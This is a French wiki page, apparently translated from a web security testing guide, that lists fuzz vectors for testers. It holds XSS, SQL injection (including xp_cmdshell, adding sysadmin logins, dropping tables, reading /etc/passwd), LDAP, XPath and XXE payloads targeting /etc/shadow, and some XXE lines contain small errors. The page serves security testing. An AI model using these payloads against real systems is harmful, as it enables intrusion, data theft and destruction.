User Tools

Site Tools


hack:appendix_c:fuzz_vectors

testing_guide

Ce qui suit sont des vecteurs fuzzing qui peuvent être utilisés avec WebScarab, JBroFuzz, WSFuzzer, ou un autre fuzzer. Le Fuzzing est l'«évier de cuisine» pour tester la réponse d'une application à la manipulation des paramètres. En général, on cherche à analyser les conditions des erreurs qui sont générés dans une application à la suite du fuzzing. Il s'agit de la partie la plus simple de la phase de découverte. Une fois qu'une erreur a été découverte les compétences requises pour identifier une vulnérabilité potentielle et l'exploiter sont plus élévées.

= Catégories de Fuzz #=

Dans le cas du fuzzing réseau avec un protocole sans état (comme HTTP (S)) deux grandes catégories existent:

  • Fuzzing récursif
  • Fuzzing de permutation

Nous allons examiner et de définir chaque catégorie dans les sous-sections qui suivent.

Fuzzing récursif

Le Fuzzing récursif peut être définie comme le processus de fuzzing d'une partie d'une requête en parcourant toutes les combinaisons possibles d'un alphabet . Prenons le cas de:

http://www.example.com/8302fa3b

Sélectionner “8302fa3b” en tant que partie de la demande comme ensemble à «  fuzzer » en utilisant l'alphabet hexadécimal{0,1,2,3,4,5,6,7,8,9 dire, a, b, c, d, e, f} tombe dans la catégorie de fuzzing récursif. Cela générerait un total 16^8 requêtes de la forme:

http://www.example.com/00000000
...
http://www.example.com/11000fff
...
http://www.example.com/ffffffff

Fuzzing de permutation

Fuzzing de permutation peut être défini comme le processus de fuzzing dans le cadre d'une requête au moyen du remplacement de la valeur cible par une valeur définie. Cette valeur est connue comme un vecteur de fuzz. Dans le cas de:

http://www.example.com/8302fa3b

Cela ce traduirait par un test Cross Site Scripting (XSS) en envoyant les vecteurs fuzz suivantes:

http://www.example.com/>"><script>alert("XSS")</script>&
http://www.example.com/'';!--"<XSS>=&{()}

Il s'agit d'une forme de fuzzing de permutation. Dans cette catégorie, le nombre total de demandes est fonction du nombre de vecteurs fuzz spécifiés. Le reste de cette annexe présente un certain nombre de catégories vecteurs fuzz.

Cross Site Scripting (XSS) Pour plus d'informations sur XSS: cross-site_scripting_xss_

>"><script>alert("XSS")</script>&
 "><STYLE>@import"javascript:alert('XSS')";</STYLE>
 >"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;
 alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)>
 >%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22>
 '%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'
 ">
 >"
 '';!--"<XSS>=&{()}
 <IMG SRC="javascript:alert('XSS');">
 <IMG SRC=javascript:alert('XSS')>
 <IMG SRC=JaVaScRiPt:alert('XSS')> 
 <IMG SRC=JaVaScRiPt:alert("XSS<WBR>")>
 <IMGSRC=java&<WBR>#115;crip&<WBR>#116;:ale&<WBR>#114;t('X&#83<WBR>;S'&#41>
 <IMGSRC=&#0000106&#0000097&<WBR>#0000118&#0000097&#0000115&<WBR>#0000099&#0000114&#0000105&<WBR>#0000112&#0000116&#0000058
 &<WBR>#0000097&#0000108&#0000101&<WBR>#0000114&#0000116&#0000040&<WBR>#0000039&#0000088&#0000083&<WBR>#0000083&#0000039&#0000041>
 <IMGSRC=&#x6A&#x61&#x76&#x61&#x73&<WBR>#x63&#x72&#x69&#x70&#x74&#x3A&<WBR>#x61&#x6C&#x65&#x72&#x74&#x28
 &<WBR>#x27&#x58&#x53&#x53&#x27&#x29>
 <IMG SRC="jav	ascript:alert(<WBR>'XSS');">
 <IMG SRC="jav
ascript:alert(<WBR>'XSS');">
 <IMG SRC="jav
ascript:alert(<WBR>'XSS');">

= Dépassement de capacité et erreurs de format de chaîne #=

Dépassement de capacité (BFO)

Un dépassement de tampon ou d'une attaque en corruption de la mémoire est une faille de programmation qui permet de déborder de données valides au-delà de la limite de stockage pré-alloué en mémoire. Pour plus de détails sur les dépassement de tampon: testing_for_buffer_overflow

Notez quessayer de charger un tel fichier de définition dans une application de fuzzing peut potentiellement causer des crash de l'application.

A x 5
A x 17
A x 33
A x 65
A x 129
A x 257
A x 513
A x 1024
A x 2049
A x 4097
A x 8193
A x 12288

Erreurs de format de chaîne (FSE)

Les attaques de format de chaîne sont une classe de vulnérabilités qui impliquent la fourniture des tokens de format dans un langage spécifique afin d'exécuter du code arbitraire ou de planter un programme. Le Fuzzing de ces erreurs a pour objectif de vérifier l'entrée d'utilisateur non filtrée. Une excellente introduction sur le FSE peuvent être trouvées dans le document USENIX:intitulé Détection des vulnérabilités de format de chaîne avec des qualificateurs de type [http://www.usenix.net/publications/library/proceedings/sec01/full_papers/shankar/shankar_html/index.html]

Notez qu'essayer de charger un tel fichier de définition dans une application de fuzzing peut potentiellement causer des crash de l'application.

%s%p%x%d
 .1024d
 %.2049d
 %p%p%p%p
 %x%x%x%x
 %d%d%d%d
 %s%s%s%s
 %99999999999s
 %08x
 %%20d
 %%20n
 %%20x
 %%20s
 %s%s%s%s%s%s%s%s%s%s
 %p%p%p%p%p%p%p%p%p%p
 %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%
 %s x 129
 %x x 257

Les débordements d'entiers (INT)

Les erreurs de débordement d'entier se produisent lorsqu'un programme ne parvient pas à tenir compte du fait qu'une opération arithmétique peut se traduire par une quantité soit supérieure à la valeur maximale d'un type de données soit inférieure à sa valeur minimale. Si un testeur peut induire le programme à effectuer une telle allocation de la mémoire, le programme peut être potentiellement vulnérable à une attaque par débordement de tampon.

-1
0
0x100
0x1000
0x3fffffff
0x7ffffffe
0x7fffffff
0x80000000
0xfffffffe
0xffffffff
0x10000
0x100000

= Injection SQL #=

Cette attaque peut affecter la couche base de données d'une application et est généralement présente lorsque l'entrée d'utilisateur n'est pas filtrée pour les instructions SQL. Pour plus de détails sur les tests d'injection SQL testing_for_sql_injection

L'injection SQL est classée en deux catégories, en fonction de l'exposition des informations de la base de données (passive) ou de la modification des informations de la base de données (active).

Une injection SQL active peut avoir un effet néfaste sur la base de données sous-jacente si elle est exécutée avec succès.

Injection SQL Passive (SQP)

'||(elt(-3+5,bin(15),ord(10),hex(char(45))))
||6
'||'6
(||6)
' OR 1=1-- 
OR 1=1
' OR '1'='1
; OR '1'='1'
%22+or+isnull%281%2F0%29+%2F* 
%27+OR+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*
%27+--+
' or 1=1--
" or 1=1--
' or 1=1 /*
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
Admin' OR '
'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--
) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;
' having 1=1--
' having 1=1--
' group by userid having 1=1--
' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--
' or 1 in (select @@version)--
' union all select @@version--
' OR 'unusual' = 'unusual'
' OR 'something' = 'some'+'thing'
' OR 'text' = N'text'
' OR 'something' like 'some%'
' OR 2 > 1
' OR 'text' > 't'
' OR 'whatever' in ('whatever')
' OR 2 BETWEEN 1 and 3
' or username like char(37);
' union select * from users where login = char(114,111,111,116);
' union select 
Password:*/=1--
UNI/**/ON SEL/**/ECT
'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
'; EXEC ('SEL' + 'ECT US' + 'ER')
'/**/OR/**/1/**/=/**/1
' or 1/*
+or+isnull%281%2F0%29+%2F*
%27+OR+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*
%27+--+&password=
'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > 
@var select @var as var into temp end --
' and 1 in (select var from temp)--
' union select 1,load_file('/etc/passwd'),1,1,1;
1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

Injection SQL Active (SQI)

»
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
CREATE USER name IDENTIFIED BY 'pass123'
CREATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; 
' ; drop table temp --
exec sp_addlogin 'name' , 'password'
exec sp_addsrvrolemember 'name' , 'sysadmin'
INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))
GRANT CONNECT TO name; GRANT RESOURCE TO name;
INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) 
+ char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)

Injection LDAP

Pour plus de détails sur l'injection LDAP: testing_for_ldap_injection

|
!
(
)
%28
%29
&
%26
%21
%7C
*|
%2A%7C
*(|(mail=*))
%2A%28%7C%28mail%3D%2A%29%29
*(|(objectclass=*))
%2A%28%7C%28objectclass%3D%2A%29%29
*()|%26'
admin*
admin*)((|userPassword=*)
*)(uid=*))(|(uid=*

Injection XPATH

Pour plus de détails sur l'injection XPATH: testing_for_xpath_injection

'+or+'1'='1
'+or+//='//
x'+or+1=1+or+'x'='y
/
//
//*
*/*
@*
count(/child::node())
x'+or+name()='username'+or+'x'='y

Injection XML

Pour plus de détails sur l'injection XML: testing_for_xml_injection

<![CDATA[<script>var n=0;while(true){n++;}</script>]]> <?xml version=“1.0” encoding=“ISO-8859-1”?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo> <?xml version=“1.0” encoding=“ISO-8859-1”?><foo><![CDATA[' or 1=1 or ''=']]></foof> <?xml version=“1.0” encoding=“ISO-8859-1”?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM “file:c:/boot.ini”>]><foo>&xee;</foo> <?xml version=“1.0” encoding=“ISO-8859-1”?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM “file:/etc/passwd”

>]><foo>&xee;</foo>

<?xml version=“1.0” encoding=“ISO-8859-1”?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM “file:/etc/shadow”>]><foo>&xee;</foo> <?xml version=“1.0” encoding=“ISO-8859-1”?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM “file:/dev/random”

>]><foo>&xee;</foo>

hack/appendix_c/fuzz_vectors.txt · Last modified: 2019/02/13 13:10 by 127.0.0.1